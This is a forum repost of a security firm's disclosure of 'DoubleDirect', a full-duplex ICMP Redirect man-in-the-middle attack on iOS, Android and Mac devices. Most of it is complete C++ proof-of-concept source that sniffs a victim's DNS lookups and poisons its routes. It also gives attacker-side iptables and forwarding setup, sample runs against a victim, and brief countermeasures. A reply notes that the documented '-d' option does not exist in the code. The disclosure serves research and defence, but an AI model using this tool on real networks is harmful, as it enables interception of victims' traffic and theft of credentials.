monstr Posted November 22, 2014 Report Posted November 22, 2014 (edited) Zimperium Mobile Security Labs have investigated during the last year a new type of attack technique in the wild being exploited by attackers. Aptly named “DoubleDirect,” this attack technique is a type of “Man-in-the-Middle” attack (MITM) enabling an attacker to redirect a victim’s traffic to the attacker’s device. Once redirected, the attacker can steal credentials and deliver malicious payloads to the victim’s mobile device that can not only quickly infect the device, but also spread throughout a corporate network.We have identified that the traffic of the following services were redirected during the attacks on victim’s devices:Google, Facebook, Twitter, Hotmail, Live.com, Naver.com (Korean) and others. Since the attack is happening on the IPs that the user access – it does not necessarily mean that the attacker had visibility to encrypted traffic that some of the above services are enforcing. We identified attacks across 31 countries, outlined below:Serbia Australia Iraq Kazakhstan Poland Indonesia Israel Latvia Finland Mexico Egypt United Kingdom Austria Colombia Greece Brazil Canada France Algeria Russian Federation Switzerland Italy Germany Spain Saudi Arabia Netherlands India Malta Bahrain United States ChinaThe growth of mobile devices has led to a significant rise in network attacks on wireless networks. An “ICMP Redirect” attack is one example of a known MITM network attack, often used as an alternative to an ARP poisoning attack technique.Current implementations of ICMP Redirect with publically available tools like ettercap include half-duplex MITM – meaning that one side is poisoned using an ICMP Redirect (victim) and the router is poisoned using an old-school ARP Spoofing. With such an implementation – networks that are immune to ARP spoofing will be able to stop the attack. From Ettercap Manual Reference Pages[1]: “It sends a spoofed icmp redirect message to the hosts in the lan pretending to be a better route for internet. All connections to internet will be redirected to the attacker which, in turn, will forward them to the real gateway. The resulting attack is a HALF-DUPLEX mitm. Only the client is redirected, since the gateway will not accept redirect messages for a directly connected network.” So how does DoubleDirect work?DoubleDirect uses ICMP Redirect packets (type 5) to modify routing tables of a host. This is legitimately used by routers to notify the hosts on the network that a better route is available for a particular destination[2]. However, an attacker can also use ICMP Redirect packets to alter the routing tables on the victim host, causing the traffic to flow via an arbitrary network path for a particular IP. As a result, the attacker can launch a MITM attack, redirecting the victim’s traffic to his device. Once redirected, the attacker can compromise the mobile device by chaining the attack with additional Client Side vulnerability (e.g: browser vulnerability), and in turn, provide an attacker with access to the corporate network.With the detection of DoubleDirect in the wild we understood that the attackers are using previously unknown implementation to achieve full-duplex MITMs using ICMP Redirect. Traditional ICMP Redirect attacks has limitations and known to be half-duplex MITM. Zimperium Mobile Security Labs researched the threats and determined that the attackers are able to predict the IPs being accessed by the victim. We have investigated the attacks and also created a POC tool to prove that it is possible to perform full-duplex ICMP Redirect attacks. ICMP Redirect attacks are not easy to emulate because the attacker must know beforehand which IP address the victim has accessed. (There isn’t a systematic way to forward all the traffic from the victim through the attacker.) How the attackers knew which IP addresses the victim has already accessed?To answer that question we should analyze the first thing a victim’s device does when we enter a URL into the browser. For example, when we type www.zimperium.com into any browser, the application sends a DNS request to find out the IP address of the www.zimperium.com host.As a first step, we can use ICMP Redirect packets to forward all the DNS traffic from the victim’s device to our machine. Most of the time we can predict which DNS server the victim is using. If it is in the same LAN, the DNS server is likely to be the same as ours obtained through DHCP. Some mobile devices uses some DNS servers by default (8.8.8.8 and / or 8.8.4.4). Once we have all the DNS traffic redirected and forwarded transparently through our device, we can send an ICMP redirect packet to every IP address we found on the sniffed DNS replies.The attackers are not only sniffing all the DNS traffic of the victim, but everything that is resolved through it.Finally, we present a simple and effective tool to perform audit for DoubleDirect:/* * DoubleDirect - Full-Duplex ICMP Redirect Auditing Tool - doubledirect_poc.cpp * Zimperium assumes no responsibility for any damage caused by using this software. * Permitted for educational or auditing purposes only. * Use at your own risk * * Author: larry */#include <iostream>#include <fstream>#include <string>#include <map>#include <vector>#include <getopt.h>#include <pthread.h>#include <crafter.h>static void printUsage(const std::string& progname) { std::cout << "[#] Usage: " << progname << " [options] " << std::endl; std::cout << "[#] Options: " << std::endl; std::cout << " -i, --interface Interface" << std::endl; std::cout << " -g, --new-gateway New gateway for the poisoned destination" << std::endl; std::cout << " -s, --source Source IP address of the ICMP message" << std::endl; std::cout << " -v, --victim Victim IP address" << std::endl;}// Local interface infotypedef struct { // Broadcast struct in_addr bcast; // Network Mask struct in_addr nmask;} ifcfg_t;// Grabs local network interface information and stores in a ifcfg_t// defined in network.h, returns 0 on success -1 on failureint get_local_info(const std::string& interface, ifcfg_t *ifcfg) { int rsock = socket(PF_INET, SOCK_DGRAM, 0); struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, interface.c_str(), IF_NAMESIZE); if((ioctl(rsock, SIOCGIFBRDADDR, &ifr)) == -1){ perror("ioctl():"); return -1; } memcpy(&ifcfg->bcast, &(*(struct sockaddr_in *)&ifr.ifr_broadaddr).sin_addr, 4); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, interface.c_str(), IF_NAMESIZE); if((ioctl(rsock, SIOCGIFNETMASK, &ifr)) == -1){ perror("ioctl():"); return -1; } memcpy(&ifcfg->nmask.s_addr, &(*(struct sockaddr_in *)&ifr.ifr_netmask).sin_addr, 4); close(rsock); return 0;}std::string get_string_ip(in_addr nip) { char str[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &(nip.s_addr), str, INET_ADDRSTRLEN); return std::string(str);}std::string get_string_ip(in_addr_t nip) { char str[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &nip, str, INET_ADDRSTRLEN); return std::string(str);}// Discover hosts on the local LANstd::map<std::string, std::string> arp_ping_discover(const std::vector<std::string>& hosts, const std::string& iface) { /* Get the IP address associated to the interface */ std::string MyIP = Crafter::GetMyIP(iface); /* Get the MAC Address associated to the interface */ std::string MyMAC = Crafter::GetMyMAC(iface); /* --------- Common data to all headers --------- */ Crafter::Ethernet ether_header; ether_header.SetSourceMAC(MyMAC); ether_header.SetDestinationMAC("ff:ff:ff:ff:ff:ff"); Crafter::ARP arp_header; arp_header.SetOperation(Crafter::ARP::Request); arp_header.SetSenderIP(MyIP); arp_header.SetSenderMAC(MyMAC); /* ---------------------------------------------- */ /* Create a container of packet pointers to hold all the ARP requests */ std::vector<Crafter::Packet*> request_packets; /* Iterate to access each string that defines an IP address */ for(size_t i = 0 ; i < hosts.size() ; ++i) { arp_header.SetTargetIP(hosts[i]); /* Create a packet on the heap */ Crafter::Packet* packet = new Crafter::Packet; /* Push the layers */ packet->PushLayer(ether_header); packet->PushLayer(arp_header); /* Finally, push the packet into the container */ request_packets.push_back(packet); } std::vector<Crafter::Packet*> replies_packets(request_packets.size()); SendRecv(request_packets.begin(), request_packets.end(), replies_packets.begin(), iface, 0.1, 4, 48); std::vector<Crafter::Packet*>::iterator it_pck; int counter = 0; std::map<std::string, std::string> pair_addr; for(it_pck = replies_packets.begin() ; it_pck < replies_packets.end() ; it_pck++) { Crafter::Packet* reply_packet = (*it_pck); /* Check if the pointer is not NULL */ if(reply_packet) { /* Get the ARP layer of the replied packet */ Crafter::ARP* arp_layer = reply_packet->GetLayer<Crafter::ARP>(); /* Print the Source IP */ std::cout << "[@] Host " << arp_layer->GetSenderIP() << " is up with " "MAC address " << arp_layer->GetSenderMAC() << std::endl; pair_addr.insert(std::make_pair(arp_layer->GetSenderIP(), arp_layer->GetSenderMAC())); counter++; } } std::cout << "[@] " << counter << " hosts up. " << std::endl; /* Delete the container with the ARP requests */ for(it_pck = request_packets.begin() ; it_pck < request_packets.end() ; it_pck++) delete (*it_pck); /* Delete the container with the responses */ for(it_pck = replies_packets.begin() ; it_pck < replies_packets.end() ; it_pck++) delete (*it_pck); return pair_addr;}// Get gateway MACstatic std::string getGatewayMac(const std::string& iface) { // Set default values std::string gw_ip("0.0.0.0"), gw_mac("00:00:00:00:00:00"); char a[16]; char buf[1024]; uint32_t b, c, r; FILE *route_fd = fopen("/proc/net/route", "r"); if (route_fd == NULL) return gw_mac; fseek(route_fd, 0, 0); while (fgets(buf, sizeof(buf), route_fd)) { r = sscanf(buf, "%s %x %x", a, &b, &c); if ((r == 3) && (strcmp(a, iface.c_str()) == 0) && (b == 0)) { struct in_addr in; in.s_addr = c; gw_ip = std::string(inet_ntoa(in)); break; } } fclose(route_fd); std::string ip_addr_arp; std::string hw_addr_arp; std::string device_arp; std::string dummy; std::ifstream arp_table ("/proc/net/arp"); std::string line; std::getline (arp_table,line); typedef std::vector<std::pair<std::string, std::string> > addr_pair_cont; addr_pair_cont addr_pairs; if (arp_table.is_open()) { while ( arp_table.good() ) { arp_table >> ip_addr_arp; arp_table >> dummy; arp_table >> dummy; arp_table >> hw_addr_arp; arp_table >> dummy; arp_table >> device_arp; // Check if this entry is the gateway if(ip_addr_arp == gw_ip) { gw_mac = hw_addr_arp; break; } } } arp_table.close(); return gw_mac;}// Get gateway IPstatic std::string getGatewayIp(const std::string& iface) { std::string gw_addr(""); char a[16]; char buf[1024]; uint32_t b, c, r; FILE *route_fd = fopen("/proc/net/route", "r"); if (route_fd == NULL) return ""; fseek(route_fd, 0, 0); while (fgets(buf, sizeof(buf), route_fd)) { r = sscanf(buf, "%s %x %x", a, &b, &c); if ((r == 3) && (strcmp(a, iface.c_str()) == 0) && (b == 0)) { struct in_addr in; in.s_addr = c; gw_addr = std::string(inet_ntoa(in)); break; } } fclose(route_fd); return gw_addr;}// Structure to hold parameters of the ICMP redirect attackstruct IcmpRedirParameters { // Interface std::string _interface; // Victim IP address std::string _victim; // Destination we want to poison std::string _destination; // Net gateway std::string _new_gateway; // Source of the ICMP redirect message std::string _source_ip;};// Attack finishedbool finish = false;// Global Sniffer pointerstd::vector<Crafter::Sniffer*> sniffers;// List of poisoned entries (one for each destination)std::map<std::string, IcmpRedirParameters*> poisoned_entries;pthread_mutex_t entries_mutex;// Function for handling a CTRL-Cvoid ctrl_c(int dummy) { // Signal finish of the attack finish = true; // Cancel the sniffing thread for(size_t i = 0 ; i < sniffers.size() ; ++i) { sniffers[i]->Cancel(); }}Crafter::Packet* createIcmpPacket(const IcmpRedirParameters* parameters) { // Create an IP header Crafter::IP ip_header; ip_header.SetSourceIP(parameters->_source_ip); ip_header.SetDestinationIP(parameters->_victim); // Create an ICMP header Crafter::ICMP icmp_header; // ICMP redirect message icmp_header.SetType(Crafter::ICMP::EchoRedirect); // Code for redirect to host icmp_header.SetCode(1); // Set gateway (put attacker's IP here) icmp_header.SetGateway(parameters->_new_gateway); // Original packet, this should contain the address we want to poison Crafter::IP orig_ip_header; orig_ip_header.SetSourceIP(parameters->_victim); orig_ip_header.SetDestinationIP(parameters->_destination); // Create an UDP header. This could be any protocol (ICMP, UDP, TCP, etc) Crafter::UDP orig_udp_header; orig_udp_header.SetDstPort(53); orig_udp_header.SetSrcPort(Crafter::RNG16()); // Craft the packet and sent it every 3 seconds Crafter::Packet* redir_packet = new Crafter::Packet(ip_header / icmp_header / orig_ip_header / orig_udp_header); // Return created packet return redir_packet;}// Function to send a couple of ICMP redirect messagesvoid* icmpRedirectAttack(void* arg) { // Get attack parameters const IcmpRedirParameters* parameters = reinterpret_cast<const IcmpRedirParameters*>(arg); // Create packet Crafter::Packet* redir_packet = createIcmpPacket(parameters); // Send 3 packets for(int i = 0 ; i < 3 ; ++i) { redir_packet->Send(); sleep(3); } return 0;}void startIcmpRedirectAttack(IcmpRedirParameters& parameters) { pthread_t tid; pthread_create(&tid, 0, icmpRedirectAttack, reinterpret_cast<void*>(¶meters)); pthread_detach(tid);}void startIcmpRedirectAttack(IcmpRedirParameters& parameters, const std::string& destination) { IcmpRedirParameters* new_parameters = new IcmpRedirParameters(parameters); new_parameters->_destination = destination; // Save it in global list of poisoned entries pthread_mutex_lock(&entries_mutex); poisoned_entries.insert(std::make_pair(new_parameters->_victim + ":" + new_parameters->_destination, new_parameters)); pthread_mutex_unlock(&entries_mutex); // Start attack startIcmpRedirectAttack(*new_parameters);}void DnsWatcher(Crafter::Packet* sniff_packet, void* user) { IcmpRedirParameters* parameters = reinterpret_cast<IcmpRedirParameters*>(user); /* Get the Ethernet Layer */ Crafter::Ethernet* ether_layer = GetEthernet(*sniff_packet); /* Get the IP layer */ Crafter::IP* ip_layer = GetIP(*sniff_packet); /* Get the UDP layer */ Crafter::UDP* udp_layer = GetUDP(*sniff_packet); /* Checks if the source MAC is not mine */ if(ether_layer->GetSourceMAC() != getGatewayMac(parameters->_interface)) { // Checks if the packet is coming from the server if(ip_layer->GetSourceIP() == parameters->_victim) { // Get the RawLayer Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet); // Create a DNS header Crafter::DNS dns_req; // And decode it from a raw layer dns_req.FromRaw(*raw_layer); // Check if the DNS packet is a query and there is a question on it. if( (dns_req.GetQRFlag() == 0) && (dns_req.Queries.size() > 0) ) { // Get the host name to be resolved std::string hostname = dns_req.Queries[0].GetName(); // Print information std::cout << "[@] Query detected -> Host Name = " << hostname << std::endl; } // ...or coming from the server (better) } else if (ip_layer->GetDestinationIP() == parameters->_victim) { // Get the RawLayer Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet); // Create a DNS header Crafter::DNS dns_res; // And decode it from a raw layer dns_res.FromRaw(*raw_layer); // Check if we have responses on the DNS packet. if(dns_res.Answers.size() > 0) { for(size_t i = 0 ; i < dns_res.Answers.size() ; ++i) { if(dns_res.Answers[i].GetType() == Crafter::DNS::TypeA) { // Get the host name to be resolved std::string ip = dns_res.Answers[i].GetRData(); // Print information std::cout << "[@] Response detected -> IP address = " << ip << std::endl; // Poison this address startIcmpRedirectAttack(*parameters, ip); } } } } }}// Function to poison a fixed list of DNS serversvoid* poisonDnsServers(void* user) { IcmpRedirParameters* redirect_parameters = reinterpret_cast<IcmpRedirParameters*>(user); while(not finish) { // HardCode DNS servers we want to redirect to our machine startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLE startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLE startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNS startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNS sleep(10); } return 0;}int main(int argc, char* argv[]) { // Print header std::cout << "[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****" << std::endl; // Program name std::string progname(argv[0]); // Check arguments if(argc < 2) { printUsage(progname); return 1; } signal(SIGINT, ctrl_c); signal(SIGTERM, ctrl_c); // Parameters std::string interface, victim_ip, new_gateway, source_ip; // Victim's IPs std::vector<std::string> victims; int c; // Define options static struct option long_options[] = { {"interface", 1, 0, 'i'}, {"new-gateway", 1, 0, 'g'}, {"victim", 1, 0, 'v'}, {"source", 1, 0, 's'}, {NULL, 0, 0, 0} }; int option_index = 0; while ((c = getopt_long(argc, argv, "i:v:g:s:",long_options, &option_index)) != -1) { switch (c) { case 'i': interface = std::string(optarg); break; case 'v': victim_ip = std::string(optarg); break; case 'g': new_gateway = std::string(optarg); break; case 's': source_ip = std::string(optarg); break; case '?': printUsage(progname); return 1; break; default: printUsage(progname); return 1; } } if(interface.size() == 0) { std::cout << "[#] Error: Missing interface " << std::endl; printUsage(progname); return 1; } if(victim_ip.size() == 0) { std::cout << "[#] Missing victim IP address. Poisoning the entire network" << std::endl; // Total hosts std::vector<std::string> total_hosts; // Get local information of the interface ifcfg_t local_info; get_local_info(interface, &local_info); // Get first IP address in_addr_t first_ip = local_info.nmask.s_addr & local_info.bcast.s_addr; in_addr_t delta_net = ~ntohl(local_info.nmask.s_addr); // Create list of ignored IPs addresses std::set<std::string> ignored_ips; ignored_ips.insert(getGatewayIp(interface)); ignored_ips.insert(Crafter::GetMyIP(interface)); ignored_ips.insert(get_string_ip(first_ip)); // Loop over IPs addresses on the network for(size_t i = 0 ; i < delta_net ; ++i) { // Get destination IP address in_addr_t nip = ntohl(ntohl(first_ip) + i); std::string ip = get_string_ip(nip); // Only attack IPs which are not on the ignore list if(ignored_ips.find(ip) == ignored_ips.end()) { total_hosts.push_back(ip); } } // Get hosts UP std::map<std::string,std::string> host_up = arp_ping_discover(total_hosts, interface); // Set as targets only alive hosts for(std::map<std::string,std::string>::const_iterator it = host_up.begin() ; it != host_up.end() ; ++it) { victims.push_back((*it).first); } } else { // Push only one victim victims.push_back(victim_ip); // Print attack's parameters std::cout << "[#] Attack parameters : " << std::endl; std::cout << " [+] Interface : " << interface << std::endl; std::cout << " [+] Victim IP address : " << victim_ip << std::endl; } // Try to get the IP of the gateway std::string gw_ip = getGatewayIp(interface); // By default the source IP address of the message is the current gateway if(source_ip.length() == 0) source_ip = gw_ip; if(gw_ip.size() == 0) { std::cout << "[#] Error: Interface " << interface << " don't have an associated gateway" << std::endl; return 1; } // Get MAC address of the gateway std::string gw_mac = getGatewayMac(interface); std::cout << "[#] Gateway parameters : " << std::endl; std::cout << " [+] Gateway IP address : " << gw_ip << std::endl; std::cout << " [+] Gateway MAC address : " << gw_mac << std::endl; std::string my_ip = Crafter::GetMyIP(interface); // By default set attacker's IP as the new gateway if(new_gateway.length() == 0) new_gateway = my_ip; std::cout << "[#] My parameters : " << std::endl; std::cout << " [+] My IP address : " << my_ip << std::endl; for(size_t i = 0 ; i < victims.size() ; ++i) { // Get victim IP std::string victim = victims[i]; // Setup attacks parameters IcmpRedirParameters* redirect_parameters = new IcmpRedirParameters; // Interface redirect_parameters->_interface = interface; // Victim IP address redirect_parameters->_victim = victim; // Net gateway redirect_parameters->_new_gateway = new_gateway; // Source of the ICMP redirect message redirect_parameters->_source_ip = source_ip; pthread_mutex_init(&entries_mutex, 0); pthread_t dns_poison_id; pthread_create(&dns_poison_id, 0, poisonDnsServers, reinterpret_cast<void*>(redirect_parameters)); pthread_detach(dns_poison_id); // Create a sniffer Crafter::Sniffer* sniff = new Crafter::Sniffer("udp and host " + victim + " and port 53", interface, DnsWatcher); // Now start the main sniffer loop void* sniffer_arg = static_cast<void*>(redirect_parameters); sniff->Spawn(-1, sniffer_arg); // Save sniffer reference sniffers.push_back(sniff); } // Wait while(not finish) sleep(1); std::cout << "[#] Finishing ICMP redirect attack..." << std::endl; std::cout << "[#] Fixing route table on victim's machine. Number of poisoned entries = " << poisoned_entries.size() << std::endl; // Threads std::vector<Crafter::Packet*> fix_packets; // Protect entries pthread_mutex_lock(&entries_mutex); // Loop over all entries for(std::map<std::string, IcmpRedirParameters*>::const_iterator it = poisoned_entries.begin() ; it != poisoned_entries.end() ; ++it) { // Get parameters IcmpRedirParameters* parameters = it->second; std::cout << " [+] Fixing table for destination : " << it->first << std::endl; parameters->_source_ip = parameters->_new_gateway; parameters->_new_gateway = getGatewayIp(parameters->_interface); // Push packet fix_packets.push_back(createIcmpPacket(parameters)); } // Send all the packets, 3 times for(int i = 0 ; i < 3 ; ++i) { Crafter::Send(fix_packets.begin(), fix_packets.end(), interface, 16); sleep(3); } pthread_mutex_unlock(&entries_mutex); pthread_mutex_destroy(&entries_mutex); std::cout << "[#] Finishing fixing route table on victim's machine" << std::endl; return 0;}To compile and run the code in this post you will need libcrafter (https://code.google.com/p/libcrafter/) installed in your system. Libcrafter in an open source multi-platform library written in C++ and released under the new BSD license. Libcrafter provides a high level interface to craft, decode and sniff network packets which makes it easy to create networking utilities without dealing with low level details. To compile it in your GNU/linux or MAC OS X system, execute the following commands:$ git clone https://github.com/pellegre/libcrafter$ cd libcrafter/libcrafter$ ./autogen.sh$ make$ sudo make install$ sudo ldconfigNote that you need libpcap installed in your system before configuring libcrafter (apt-get install libpcap-dev)DoubleDirect: Full-Duplex ICMP Redirect Attack– ScenarioGateway = 192.168.1.1Attacker (Ubuntu) = 192.168.1.105Victim (Galaxy S4) = 192.168.1.101– Victim’s machineFirst we need to check if the device accepts redirects. In my case (galaxy S4) accept redirects bit was enabled by default:# cat /proc/sys/net/ipv4/conf/all/accept_redirects 1In case that ICMP Redirect is not enabled and you want to test this attack, you should execute:# echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects – Attacker’s machineFinally, on the attacker’s machine we need to tell the kernel a few things so the attack works correctly. The following commands should be executed on the attacker’s machine (as root):To forward IP packets# echo 1 > /proc/sys/net/ipv4/ip_forwardDon’t send redirects. This is very important, we need to tell the attacker’s kernel not to send redirects :# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect – Attacking the deviceCompile doubledirect_poc.cpp:$ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter$ ./doubledirect_poc[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****[#] Usage: ./doubledirect_poc [options][#] Options:-i, --interface Interface-v, --victim Victim IP address-d, --destination Destination address to poisonInstead of poisoning a LAN ARP entry we poison a remote IP address when accessed by the victim. In doing so we trick the victim to send IP packets intended to a particular destination through our device instead of the real gateway.When the device sends an IP packet with a destination 8.8.8.8 it should use the gateway (192.168.1.1).Now let’s poison that entry. On the attacker machine execute:$ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8[#] Attack parameters :[+] Interface : wlan0[+] Victim IP address : 192.168.1.101[+] Destination to poison : 8.8.8.8[#] Gateway parameters :[+] Gateway IP address : 192.168.1.1[+] Gateway MAC address : *:*:AE:51[#] My parameters :[+] My IP address : 192.168.1.105 We can see how the entry for 8.8.8.8 is poisoned with our IP address (192.168.1.105). When a packet with a destination to 8.8.8.8 is sent from the victim, it will use our computer as a gateway for that packet. This will allow us to sniff all the traffic from that destination (a classic man in the middle attack).Once we have all the DNS traffic forwarded transparently through our computer, we can send an ICMP Redirect packet to every IP address we found on the sniffed DNS replies. We are not only sniffing all the DNS traffic of the victim, but everything that is resolved through it.To test if you are vulnerable to DoubleDirect first execute the following lines of bash code to set up iptables and IP forwarding properly:# cat iptables_dobule_direct.sh#!/bin/shif [ $# -lt 1 ]; thenecho "[@] Usage: `basename ${0}` "echo "[@] Example: `basename ${0}` wlan0"exit 0fiINTERFACE=${1}echo 1 > /proc/sys/net/ipv4/ip_forwardecho 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirectsiptables --flushiptables --zeroiptables --delete-chainiptables -F -t natiptables --append FORWARD --in-interface $INTERFACE --jump ACCEPTiptables --table nat --append POSTROUTING --out-interface $INTERFACE --jump MASQUERADE# ./iptables_double_direct.sh wlan0Finally, execute the Zimperium DoubleDirect Audit tool:# ./doubledirect_poc -i wlan0 -v 192.168.1.101[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****[#] Attack parameters :[+] Interface : wlan0[+] Victim IP address : 192.168.1.101[#] Gateway parameters :[+] Gateway IP address : 192.168.2.1[+] Gateway MAC address : 00:1f:*:*[#] My parameters :[+] My IP address : 192.168.2.103 The DNS servers are hard coded inside the code (line 397, doubledirect_poc.cpp file). You can add any host for the initial ICMP redirect packets there:// Hardcoded DNS servers we want to redirect to our machinestartIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // GatewaystartIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLEstartIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLEstartIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNSstartIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNSCountermeasuresiOS, Android and Mac OS X usually accepts ICMP redirect packets by default.To test if your OS X is vulnerable to DoubleDirect run the following command :sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"To disable ICMP Redirect on Mac (as root):# sysctl -w net.inet.ip.redirect=0On the mobile side, most Android devices (galaxy series) with the accept_redirect field enabled by defaultTo disable you need to root your device and execute:# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirectsWho is at risk?– iOS: The attack works on latest versions of iOS including iOS 8.1.1– Android: On most Android devices that we have tested – including Nexus 5 + Lollipop– Mac: Mac OS X Yosemite is vulnerable.Most of GNU/Linux and Windows desktop operating system do not accept ICMP redirect packets.Source Edited November 22, 2014 by monstr Quote
Joe246 Posted April 11, 2015 Report Posted April 11, 2015 $ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8 -d option not available!?Any idea ?Cheers Quote